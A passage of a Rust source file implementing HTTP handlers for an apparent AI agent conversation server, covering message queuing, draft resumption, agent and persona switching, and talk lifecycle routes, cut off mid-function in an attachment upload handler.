9073            tokio::spawn({
9074                let ui = Arc::clone(&ui);
9075                let id = id.clone();
9076                let said = body.text.clone();
9077                let reply_to = body.reply_to.clone();
9078                async move {
9079                    let written = blocking({
9080                        let ui = Arc::clone(&ui);
9081                        let id = id.clone();
9082                        move || {
9083                            let mut talk = ui.talks.get(&id)?;
9084                            // A test-only stop point, right before the write
9085                            // an interleaving test needs to pin - see
9086                            // `BusyQueueGate`. `None` in every real server:
9087                            // the field only exists under `#[cfg(test)]`.
9088                            #[cfg(test)]
9089                            if let Some(gate) = ui
9090                                .busy_queue_gate
9091                                .lock()
9092                                .unwrap_or_else(PoisonError::into_inner)
9093                                .take()
9094                            {
9095                                let _ = gate.reached.send(());
9096                                let _ = gate.release.recv();
9097                            }
9098                            if let Err(error) = talk::queue_reply(
9099                                &mut talk,
9100                                &ui.talks,
9101                                &said,
9102                                attachments,
9103                                reply_to,
9104                            ) {
9105                                if let Ok(fresh) = ui.talks.get(&id) {
9106                                    if !fresh.status.open() {
9107                                        return Err(ApiError::conflict(format!(
9108                                            "talk {} is {} and takes no more turns",
9109                                            fresh.short(),
9110                                            fresh.status.as_str()
9111                                        )));
9112                                    }
9113                                }
9114                                return Err(
9115                                    if error.to_string().contains("invalid reply target") {
9116                                        ApiError::bad_request("invalid reply target")
9117                                    } else {
9118                                        ApiError::from(error)
9119                                    },
9120                                );
9121                            }
9122                            // The turn that looked busy a moment ago can have
9123                            // finished, found nothing to drain and given up the
9124                            // slot in the gap between that check and this write
9125                            // landing - see `drain_loop`'s own doc for the other
9126                            // half of why that gap would otherwise be able to
9127                            // open at all. Reclaiming the slot here, rather than
9128                            // trusting that whoever held it is still watching, is
9129                            // what stops the text just queued from being stranded
9130                            // until an unrelated future `say` happens to drain
9131                            // it.
9132                            let claim = match ui.begin_queued_talk_turn(&id)? {
9133                                Some(turn_guard) => {
9134                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9135                                    Some((talk.clone(), cfg, turn_guard))
9136                                }
9137                                None => None,
9138                            };
9139                            let thinking = ui.is_thinking(&id);
9140                            Ok((TalkView::new(talk, thinking, &ui), claim))
9141                        }
9142                    })
9143                    .await;
9144                    #[cfg(not(test))]
9145                    {
9146                        match written {
9147                            Ok((view, reclaimed)) => {
9148                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9149                                drop(reclaimed);
9150                                match launched {
9151                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9152                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9153                                }
9154                            }
9155                            Err(error) => { let _ = tx.send(Err(error)); }
9156                        }
9157                    }
9158                    #[cfg(test)]
9159                    {
9160                    let (view, reclaimed) = match written {
9161                        Ok(pair) => pair,
9162                        Err(e) => {
9163                            // Nobody is listening if the handler's own future
9164                            // was already dropped - that is fine, nothing was
9165                            // persisted and there is no response left to carry
9166                            // this error to.
9167                            let _ = tx.send(Err(e));
9168                            return;
9169                        }
9170                    };
9171                    // If this fails, the caller is gone; the drain below still
9172                    // runs exactly as it would have for a caller that stayed.
9173                    let _ = tx.send(Ok(view));
9174                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9175                        let talks = ui.talks.clone();
9176                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9177                    }
9178                    }
9179                }
9180            });
9181            let view = rx
9182                .await
9183                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9184            return Ok((StatusCode::ACCEPTED, Json(view)));
9185        }
9186    };
9187
9188    let (talk, cfg) = {
9189        let ui = Arc::clone(&ui);
9190        let id = id.clone();
9191        blocking(move || {
9192            let talk = ui.talks.get(&id)?;
9193            let (cfg, _) = Config::discover(&talk.repo, None)?;
9194            Ok((talk, cfg))
9195        })
9196        .await?
9197    };
9198
9199    let talks = ui.talks.clone();
9200    // `record` runs *inside* the spawned task, rather than in this handler
9201    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9202    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9203    // doc), and that drop can land at any `.await` this function makes,
9204    // including one that has already produced its result but not yet
9205    // resumed. A message could end up recorded on disk with the handler
9206    // future gone before it ever reached the `tokio::spawn` that would have
9207    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9208    // that hands the whole future to the runtime as one unit - once made, no
9209    // later drop of *this* handler's own future (that call's return value is
9210    // never held onto here) can reach back in and stop it, so record and the
9211    // hand-off to `respond` are unconditionally atomic from the client's
9212    // point of view. The immediate response this handler owes the caller
9213    // travels back over a `oneshot`, sent the moment `record` succeeds.
9214    let (tx, rx) = tokio::sync::oneshot::channel();
9215    tokio::spawn({
9216        #[cfg(test)]
9217        let ui = Arc::clone(&ui);
9218        let talks = talks.clone();
9219        let id = id.clone();
9220        let said = body.text.clone();
9221        let reply_to = body.reply_to.clone();
9222        let mut talk = talk.clone();
9223        async move {
9224            let recorded = blocking({
9225                let talks = talks.clone();
9226                move || {
9227                    if let Err(error) =
9228                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9229                    {
9230                        if let Ok(fresh) = talks.get(&talk.id) {
9231                            if !fresh.status.open() {
9232                                return Err(ApiError::conflict(format!(
9233                                    "talk {} is {} and takes no more turns",
9234                                    fresh.short(),
9235                                    fresh.status.as_str()
9236                                )));
9237                            }
9238                        }
9239                        return Err(if error.to_string().contains("invalid reply target") {
9240                            ApiError::bad_request("invalid reply target")
9241                        } else {
9242                            ApiError::from(error)
9243                        });
9244                    }
9245                    // `record` mutates `talk` in place to the freshly persisted
9246                    // state (status, pending, and the just-appended operator
9247                    // turn), so returning it here is equivalent to re-reading it
9248                    // from disk - without the extra round trip a re-read would
9249                    // need.
9250                    Ok((said.trim().to_owned(), talk))
9251                }
9252            })
9253            .await;
9254            let (text, talk) = match recorded {
9255                Ok(pair) => pair,
9256                Err(e) => {
9257                    // Nobody is listening if the handler's own future was
9258                    // already dropped - that is fine, there is no response
9259                    // left to carry this error to and nothing was persisted.
9260                    let _ = tx.send(Err(e));
9261                    return;
9262                }
9263            };
9264            #[cfg(not(test))]
9265            {
9266                let _ = (&cfg, &text);
9267                // The reservation becomes durable while this process still
9268                // holds the talk lease. The child waits for that lease; the
9269                // new UI sees its startup reservation immediately.
9270                let result = crate::consult::spawn_recorded_turn(
9271                    &talks, &id, talk.turns.len() - 1,
9272                ).await;
9273                drop(turn_guard);
9274                match result {
9275                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9276                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9277                }
9278            }
9279            #[cfg(test)]
9280            {
9281            let queued = talk.clone();
9282            let mut talk = talk;
9283            let thinking = ui.is_thinking(&id);
9284            // If this fails, the caller is gone; the turn still runs below
9285            // exactly as it would have for a caller that stayed connected.
9286            let _ = tx.send(Ok((queued, thinking)));
9287
9288            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9289                // `respond` records the failure in the transcript itself,
9290                // which is what the phone reads; this line is for the
9291                // operator's terminal.
9292                tracing::warn!("talk {id} turn failed: {e:#}");
9293            }
9294            // Anything `talk::queue` added while the turn above was running
9295            // is still owed an answer - see `drain_loop`.
9296            drain_loop(talk, talks, cfg, id, turn_guard).await;
9297            }
9298        }
9299    });
9300
9301    let (queued, thinking) = rx
9302        .await
9303        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9304
9305    // 202: the operator's message is recorded and a turn is running.
9306    Ok((
9307        StatusCode::ACCEPTED,
9308        Json(TalkView::new(queued, thinking, &ui)),
9309    ))
9310    }).await
9311}
9312
9313/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9314/// changing it. The turn guard is the same per-talk ownership `talk_say`
9315/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9316async fn talk_pending_resume(
9317    State(ui): State<Arc<Ui>>,
9318    Path(id): Path<String>,
9319) -> ApiResult<(StatusCode, Json<TalkView>)> {
9320    let admission = ui.begin_admission()?;
9321    admitted(admission, async move {
9322        let id = {
9323            let ui = Arc::clone(&ui);
9324            let asked = id.clone();
9325            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9326        };
9327        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9328            .await
9329            .map_err(ApiError::from)?;
9330        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9331            return Err(ApiError::conflict(
9332                "a talk turn is already running; the queued draft will be handled by it",
9333            ));
9334        };
9335        let (talk, cfg) = {
9336            let ui = Arc::clone(&ui);
9337            let id = id.clone();
9338            blocking(move || {
9339                let talk = ui.talks.get(&id)?;
9340                if !talk.status.open() {
9341                    return Err(ApiError::conflict(format!(
9342                        "talk {} is {} and takes no more turns",
9343                        talk.short(),
9344                        talk.status.as_str()
9345                    )));
9346                }
9347                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9348                    return Err(ApiError::conflict("there is no queued draft to resume"));
9349                }
9350                let (cfg, _) = Config::discover(&talk.repo, None)?;
9351                Ok((talk, cfg))
9352            })
9353            .await?
9354        };
9355        let view = TalkView::new(talk.clone(), true, &ui);
9356        let talks = ui.talks.clone();
9357        #[cfg(not(test))]
9358        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9359        #[cfg(test)]
9360        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9361        Ok((StatusCode::ACCEPTED, Json(view)))
9362    })
9363    .await
9364}
9365
9366/// Hand off an admitted draft while retaining the talk lease until its
9367/// detached startup reservation is durable.
9368#[cfg(not(test))]
9369async fn detach_talk_turn(
9370    _talk: Talk,
9371    talks: Talks,
9372    _cfg: Config,
9373    id: String,
9374    turn: TalkTurnGuard,
9375) -> ApiResult<()> {
9376    let launched = crate::consult::spawn_turn(&talks, &id).await;
9377    drop(turn);
9378    launched.map(|_| ()).map_err(ApiError::from)
9379}
9380
9381#[cfg(test)]
9382async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9383    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9384}
9385
9386/// A settings response must not report idle while its claim is still held.
9387/// Wait until the first drain either releases the claim or promotes a draft.
9388/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9389async fn settle_settings_turn(
9390    talk: Talk,
9391    talks: Talks,
9392    cfg: Config,
9393    id: String,
9394    turn: TalkTurnGuard,
9395    observed: u64,
9396) -> bool {
9397    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9398        let turns = Arc::clone(&turn.turns);
9399        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9400        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9401            // Release under the arrival lock; a later `/say` takes its own claim.
9402            turn.release(&mut live);
9403            return false;
9404        }
9405    }
9406    let (started, settled) = tokio::sync::oneshot::channel();
9407    tokio::spawn(drain_loop_started(
9408        talk,
9409        talks,
9410        cfg,
9411        id,
9412        turn,
9413        Some(started),
9414    ));
9415    settled.await.unwrap_or(false)
9416}
9417
9418#[cfg(not(test))]
9419async fn drain_loop_started(
9420    talk: Talk,
9421    talks: Talks,
9422    _cfg: Config,
9423    id: String,
9424    turn: TalkTurnGuard,
9425    started: Option<tokio::sync::oneshot::Sender<bool>>,
9426) {
9427    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9428    let running = if pending {
9429        match crate::consult::spawn_turn(&talks, &id).await {
9430            Ok(_) => true,
9431            Err(error) => {
9432                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9433                false
9434            }
9435        }
9436    } else {
9437        false
9438    };
9439    drop(turn);
9440    if let Some(started) = started {
9441        let _ = started.send(running);
9442    }
9443}
9444
9445// Existing in-process conversation tests exercise transcript/arrival ordering;
9446// real process-lifetime behavior is covered by the CLI integration tests.
9447#[cfg(test)]
9448async fn drain_loop_started(
9449    mut talk: Talk,
9450    talks: Talks,
9451    cfg: Config,
9452    id: String,
9453    turn: TalkTurnGuard,
9454    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9455) {
9456    let live_set = Arc::clone(&turn.turns);
9457    // `Option` rather than binding `turn` directly to a `_turn` that lives
9458    // for the whole function: releasing it has to happen by calling
9459    // `TalkTurnGuard::release` from inside the locked branch below, which
9460    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9461    // remove the id - correctly, if this loop is ever left some other way -
9462    // but doing it there misses the lock this loop is already holding, which
9463    // is the exact gap `release` exists to close.
9464    let mut turn = Some(turn);
9465    loop {
9466        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9467            // The lease was taken over while a turn ran. Whatever is queued
9468            // stays a draft; running it here would race the new owner.
9469            tracing::warn!("talk {id} lost its turn lease; not draining further");
9470            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9471            if let Some(turn) = turn.take() {
9472                turn.release(&mut live);
9473            }
9474            break;
9475        }
9476        // `talk::drain` takes the store lock and can write/rename the talk
9477        // file. Keep the turn mutex out of that synchronous work: it protects
9478        // every talk's in-memory claim, not this talk's disk operation.
9479        let observed = live_set
9480            .lock()
9481            .unwrap_or_else(PoisonError::into_inner)
9482            .queued
9483            .get(&id)
9484            .copied()
9485            .unwrap_or(0);
9486        let drained = blocking({
9487            let talks = talks.clone();
9488            move || {
9489                let result = talk::drain(&mut talk, &talks);
9490                Ok((talk, result))
9491            }
9492        })
9493        .await;
9494        let (next_talk, result) = match drained {
9495            Ok(drained) => drained,
9496            Err(e) => {
9497                tracing::warn!(
9498                    status = %e.status,
9499                    message = %e.message,
9500                    "talk {id} could not start queued-text drain"
9501                );
9502                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9503                turn.take()
9504                    .expect("held for the whole loop until released here")
9505                    .release(&mut live);
9506                break;
9507            }
9508        };
9509        talk = next_talk;
9510        let drained = match result {
9511            Ok(Some(drained)) => drained,
9512            Ok(None) => {
9513                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9514                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9515                    continue;
9516                }
9517                turn.take()
9518                    .expect("held for the whole loop until released here")
9519                    .release(&mut live);
9520                break;
9521            }
9522            Err(e) => {
9523                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9524                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9525                turn.take()
9526                    .expect("held for the whole loop until released here")
9527                    .release(&mut live);
9528                break;
9529            }
9530        };
9531        if let Some(started) = started.take() {
9532            let _ = started.send(true);
9533        }
9534        let responded = match turn.as_ref() {
9535            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9536            None => Err(anyhow::anyhow!("the turn guard was released")),
9537        };
9538        if let Err(e) = responded {
9539            tracing::warn!("talk {id} turn failed: {e:#}");
9540        }
9541    }
9542    drop(turn);
9543    if let Some(started) = started {
9544        let _ = started.send(false);
9545    }
9546}
9547
9548/// Clear a queued draft only if it remains exactly the one the caller saw.
9549async fn talk_pending_clear(
9550    State(ui): State<Arc<Ui>>,
9551    Path(id): Path<String>,
9552    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9553) -> ApiResult<Json<TalkView>> {
9554    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9555    blocking(move || {
9556        let id = resolve_talk(&ui.talks, &id)?;
9557        let mut talk = ui.talks.get(&id)?;
9558        if !talk.status.open() {
9559            return Err(ApiError::conflict(format!(
9560                "talk {} is {} and takes no more turns",
9561                talk.short(),
9562                talk.status.as_str()
9563            )));
9564        }
9565        if !talk::clear_pending_if_matches(
9566            &mut talk,
9567            &ui.talks,
9568            &body.expected_text,
9569            &body.expected_attachments,
9570        )? {
9571            return Err(ApiError::conflict(
9572                "queued message changed; reload it before clearing",
9573            ));
9574        }
9575        let thinking = ui.is_thinking(&talk.id);
9576        Ok(Json(TalkView::new(talk, thinking, &ui)))
9577    })
9578    .await
9579}
9580
9581/// Atomically edit a queued draft's text while preserving its attachments.
9582/// The snapshot fields make a concurrent queue or drain a conflict rather
9583/// than silently discarding either message.
9584async fn talk_pending_edit(
9585    State(ui): State<Arc<Ui>>,
9586    Path(id): Path<String>,
9587    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9588) -> ApiResult<Json<TalkView>> {
9589    let admission = ui.begin_admission()?;
9590    admitted(admission, async move {
9591        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9592        let id = {
9593            let ui = Arc::clone(&ui);
9594            blocking(move || resolve_talk(&ui.talks, &id)).await?
9595        };
9596        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9597            .await
9598            .map_err(ApiError::from)?;
9599        let (view, reclaimed) = blocking({
9600            let ui = Arc::clone(&ui);
9601            move || {
9602                let mut talk = ui.talks.get(&id)?;
9603                if !talk.status.open() {
9604                    return Err(ApiError::conflict(format!(
9605                        "talk {} is {} and takes no more turns",
9606                        talk.short(),
9607                        talk.status.as_str()
9608                    )));
9609                }
9610                if !talk::edit_pending_message(
9611                    &mut talk,
9612                    &ui.talks,
9613                    &body.text,
9614                    &body.expected_text,
9615                    &body.expected_attachments,
9616                    body.message,
9617                )? {
9618                    return Err(ApiError::conflict(
9619                        "queued message changed; reload it before editing",
9620                    ));
9621                }
9622                let claim = match ui.begin_queued_talk_turn(&id)? {
9623                    Some(turn_guard) => {
9624                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9625                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9626                    }
9627                    None => None,
9628                };
9629                let thinking = ui.is_thinking(&id);
9630                Ok((TalkView::new(talk, thinking, &ui), claim))
9631            }
9632        })
9633        .await?;
9634        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9635            let talks = ui.talks.clone();
9636            #[cfg(not(test))]
9637            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9638            #[cfg(test)]
9639            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9640        }
9641        Ok(Json(view))
9642    })
9643    .await
9644}
9645
9646/// The 409 for a talk that takes no more turns.
9647fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9648    if talk.status.open() {
9649        return Ok(());
9650    }
9651    Err(ApiError::conflict(format!(
9652        "talk {} is {} and takes no more turns",
9653        talk.short(),
9654        talk.status.as_str()
9655    )))
9656}
9657
9658/// The body of `POST /api/talks/{id}/agent`.
9659#[derive(Debug, Deserialize)]
9660struct TalkAgent {
9661    agent: String,
9662}
9663
9664/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9665/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9666/// start a turn on the old session between the check and the write; one that
9667/// arrives in that window finds the talk busy and becomes a draft.
9668async fn talk_agent(
9669    State(ui): State<Arc<Ui>>,
9670    Path(id): Path<String>,
9671    Json(body): Json<TalkAgent>,
9672) -> ApiResult<Json<TalkView>> {
9673    let admission = ui.begin_admission()?;
9674    admitted(admission, async move {
9675        let id = {
9676            let ui = Arc::clone(&ui);
9677            blocking(move || resolve_talk(&ui.talks, &id)).await?
9678        };
9679        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9680            .await
9681            .map_err(ApiError::from)?;
9682        let repo = {
9683            let ui = Arc::clone(&ui);
9684            let id = id.clone();
9685            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9686        };
9687        let cfg = config_for(&repo).await?;
9688        // Refuse before taking the claim; see `talk_implementers`.
9689        {
9690            let ui = Arc::clone(&ui);
9691            let id = id.clone();
9692            let cfg = cfg.clone();
9693            let wanted = body.agent.clone();
9694            blocking(move || {
9695                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9696                    .map_err(ApiError::bad_request_from)?;
9697                refuse_if_closed(&ui.talks.get(&id)?)
9698            })
9699            .await?;
9700        }
9701        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9702            return Err(ApiError::conflict(
9703                "a talk turn is running; change the agent once it has answered",
9704            ));
9705        };
9706        let switched = {
9707            let ui = Arc::clone(&ui);
9708            let id = id.clone();
9709            let cfg = cfg.clone();
9710            blocking(move || {
9711                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9712                    .map_err(ApiError::bad_request_from)?;
9713                let mut talk = ui.talks.get(&id)?;
9714                if !talk.status.open() {
9715                    return Err(ApiError::conflict(format!(
9716                        "talk {} is {} and takes no more turns",
9717                        talk.short(),
9718                        talk.status.as_str()
9719                    )));
9720                }
9721                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9722                Ok(talk)
9723            })
9724            .await
9725        };
9726        // A `/say` that landed while this held the claim saw the talk busy and
9727        // left a durable draft, trusting the claim's owner to drain it. So the
9728        // claim is settled whatever the outcome. Release an empty draft's claim
9729        // before replying; queued drafts continue independently of the handler.
9730        let observed = ui.queued_generation(&id);
9731        let fresh = {
9732            let ui = Arc::clone(&ui);
9733            let id = id.clone();
9734            blocking(move || Ok(ui.talks.get(&id)?)).await
9735        };
9736        let draining = match fresh {
9737            Ok(talk) => {
9738                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9739            }
9740            Err(_) => false,
9741        };
9742        let talk = switched?;
9743        Ok(Json(TalkView::new(talk, draining, &ui)))
9744    })
9745    .await
9746}
9747
9748/// The body of `POST /api/talks/{id}/persona`.
9749#[derive(Debug, Deserialize)]
9750struct TalkPersona {
9751    persona: String,
9752}
9753
9754/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9755/// like [`talk_agent`]: the turn guard is held for the change and always handed
9756/// to `drain_loop`, so a draft left meanwhile is not stranded.
9757async fn talk_persona(
9758    State(ui): State<Arc<Ui>>,
9759    Path(id): Path<String>,
9760    Json(body): Json<TalkPersona>,
9761) -> ApiResult<Json<TalkView>> {
9762    let admission = ui.begin_admission()?;
9763    admitted(admission, async move {
9764        let id = {
9765            let ui = Arc::clone(&ui);
9766            blocking(move || resolve_talk(&ui.talks, &id)).await?
9767        };
9768        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9769            .await
9770            .map_err(ApiError::from)?;
9771        let repo = {
9772            let ui = Arc::clone(&ui);
9773            let id = id.clone();
9774            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9775        };
9776        let cfg = config_for(&repo).await?;
9777        // Refuse before taking the claim; see `talk_implementers`.
9778        {
9779            let ui = Arc::clone(&ui);
9780            let id = id.clone();
9781            let cfg = cfg.clone();
9782            let wanted = body.persona.clone();
9783            blocking(move || {
9784                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9785                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9786                }
9787                refuse_if_closed(&ui.talks.get(&id)?)
9788            })
9789            .await?;
9790        }
9791        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9792            return Err(ApiError::conflict(
9793                "a talk turn is running; change the persona once it has answered",
9794            ));
9795        };
9796        let switched = {
9797            let ui = Arc::clone(&ui);
9798            let id = id.clone();
9799            let cfg = cfg.clone();
9800            blocking(move || {
9801                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9802                    return Err(ApiError::bad_request(format!(
9803                        "unknown persona `{}`",
9804                        body.persona
9805                    )));
9806                };
9807                let mut talk = ui.talks.get(&id)?;
9808                if !talk.status.open() {
9809                    return Err(ApiError::conflict(format!(
9810                        "talk {} is {} and takes no more turns",
9811                        talk.short(),
9812                        talk.status.as_str()
9813                    )));
9814                }
9815                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9816                Ok(talk)
9817            })
9818            .await
9819        };
9820        // As in `talk_agent`: settle the claim before replying, even on refusal.
9821        let observed = ui.queued_generation(&id);
9822        let fresh = {
9823            let ui = Arc::clone(&ui);
9824            let id = id.clone();
9825            blocking(move || Ok(ui.talks.get(&id)?)).await
9826        };
9827        let draining = match fresh {
9828            Ok(talk) => {
9829                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9830            }
9831            Err(_) => false,
9832        };
9833        let talk = switched?;
9834        Ok(Json(TalkView::new(talk, draining, &ui)))
9835    })
9836    .await
9837}
9838
9839/// The body of `POST /api/talks/{id}/implementers`.
9840#[derive(Debug, Deserialize)]
9841struct TalkImplementers {
9842    implementers: u8,
9843}
9844
9845/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9846/// like [`talk_agent`]: the turn guard is held for the change and always handed
9847/// to `drain_loop`, so a draft left meanwhile is not stranded.
9848async fn talk_implementers(
9849    State(ui): State<Arc<Ui>>,
9850    Path(id): Path<String>,
9851    Json(body): Json<TalkImplementers>,
9852) -> ApiResult<Json<TalkView>> {
9853    let admission = ui.begin_admission()?;
9854    admitted(admission, async move {
9855        let id = {
9856            let ui = Arc::clone(&ui);
9857            blocking(move || resolve_talk(&ui.talks, &id)).await?
9858        };
9859        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9860            .await
9861            .map_err(ApiError::from)?;
9862        let repo = {
9863            let ui = Arc::clone(&ui);
9864            let id = id.clone();
9865            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9866        };
9867        let cfg = config_for(&repo).await?;
9868        // Refuse a request that cannot succeed before taking the claim: a claim
9869        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9870        // moment, so a refusal would make the next request see "busy" instead of
9871        // its own answer. The checks after the claim stay the ones that decide.
9872        {
9873            let ui = Arc::clone(&ui);
9874            let id = id.clone();
9875            let cfg = cfg.clone();
9876            let wanted = body.implementers;
9877            blocking(move || {
9878                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9879                refuse_if_closed(&ui.talks.get(&id)?)
9880            })
9881            .await?;
9882        }
9883        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9884            return Err(ApiError::conflict(
9885                "a talk turn is running; change the implementers once it has answered",
9886            ));
9887        };
9888        let switched = {
9889            let ui = Arc::clone(&ui);
9890            let id = id.clone();
9891            let cfg = cfg.clone();
9892            blocking(move || {
9893                let chosen = talk::check_implementers(body.implementers, &cfg)
9894                    .map_err(ApiError::bad_request)?;
9895                let mut talk = ui.talks.get(&id)?;
9896                if !talk.status.open() {
9897                    return Err(ApiError::conflict(format!(
9898                        "talk {} is {} and takes no more turns",
9899                        talk.short(),
9900                        talk.status.as_str()
9901                    )));
9902                }
9903                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9904                Ok(talk)
9905            })
9906            .await
9907        };
9908        // As in `talk_agent`: settle the claim before replying, even on refusal.
9909        let observed = ui.queued_generation(&id);
9910        let fresh = {
9911            let ui = Arc::clone(&ui);
9912            let id = id.clone();
9913            blocking(move || Ok(ui.talks.get(&id)?)).await
9914        };
9915        let draining = match fresh {
9916            Ok(talk) => {
9917                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9918            }
9919            Err(_) => false,
9920        };
9921        let talk = switched?;
9922        Ok(Json(TalkView::new(talk, draining, &ui)))
9923    })
9924    .await
9925}
9926
9927/// `POST /api/talks/{id}/close`.
9928async fn talk_close(
9929    State(ui): State<Arc<Ui>>,
9930    Path(id): Path<String>,
9931) -> ApiResult<Json<TalkView>> {
9932    blocking(move || {
9933        let id = resolve_talk(&ui.talks, &id)?;
9934        let mut talk = ui.talks.get(&id)?;
9935        talk::close(&mut talk, &ui.talks)?;
9936        let thinking = ui.is_thinking(&talk.id);
9937        Ok(Json(TalkView::new(talk, thinking, &ui)))
9938    })
9939    .await
9940}
9941
9942/// `POST /api/talks/{id}/reopen`.
9943async fn talk_reopen(
9944    State(ui): State<Arc<Ui>>,
9945    Path(id): Path<String>,
9946) -> ApiResult<Json<TalkView>> {
9947    blocking(move || {
9948        let id = resolve_talk(&ui.talks, &id)?;
9949        let mut talk = ui.talks.get(&id)?;
9950        talk::reopen(&mut talk, &ui.talks)?;
9951        let thinking = ui.is_thinking(&talk.id);
9952        Ok(Json(TalkView::new(talk, thinking, &ui)))
9953    })
9954    .await
9955}
9956
9957/// `DELETE /api/talks/{id}`.
9958///
9959/// Removes the conversation's record and artifacts outright, unlike
9960/// [`talk_close`] which keeps the record as history. A turn already in
9961/// flight is not refused here the way [`run_delete`] refuses a live run:
9962/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9963/// under [`Talks::guard`], that the record they are about to write back is
9964/// still there, so a delete racing a turn is safe without this route having
9965/// to know a turn is running at all.
9966async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9967    blocking(move || {
9968        let id = resolve_talk(&ui.talks, &id)?;
9969        ui.talks.remove(&id)?;
9970        Ok(StatusCode::NO_CONTENT)
9971    })
9972    .await
9973}
9974
9975fn talk_ids(root: &FsPath) -> Vec<String> {
9976    std::fs::read_dir(root)
9977        .into_iter()
9978        .flatten()
9979        .flatten()
9980        .filter_map(|e| {
9981            let path = e.path();
9982            if path.extension().is_some_and(|ext| ext == "json") {
9983                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9984            } else {
9985                None
9986            }
9987        })
9988        .collect()
9989}
9990
9991/// Expand an id or short id to exactly one talk id.
9992fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9993    if plain_record_id(id) && store.path_of(id).is_file() {
9994        return Ok(id.to_owned());
9995    }
9996    pick(talk_ids(store.root()), id, "talk")
9997}
9998
9999/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10000/// future `talk-say`.
10001async fn talk_attachment_post(
10002    State(ui): State<Arc<Ui>>,
10003    Path(id): Path<String>,
10004    headers: HeaderMap,
10005    body: Bytes,
10006) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10007    let mime = validate_attachment(&headers, &body)?;
10008    let name = filename_header(&headers);
10009    let data = body.to_vec();
10010    blocking(move || {
10011        let id = resolve_talk(&ui.talks, &id)?;
10012        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
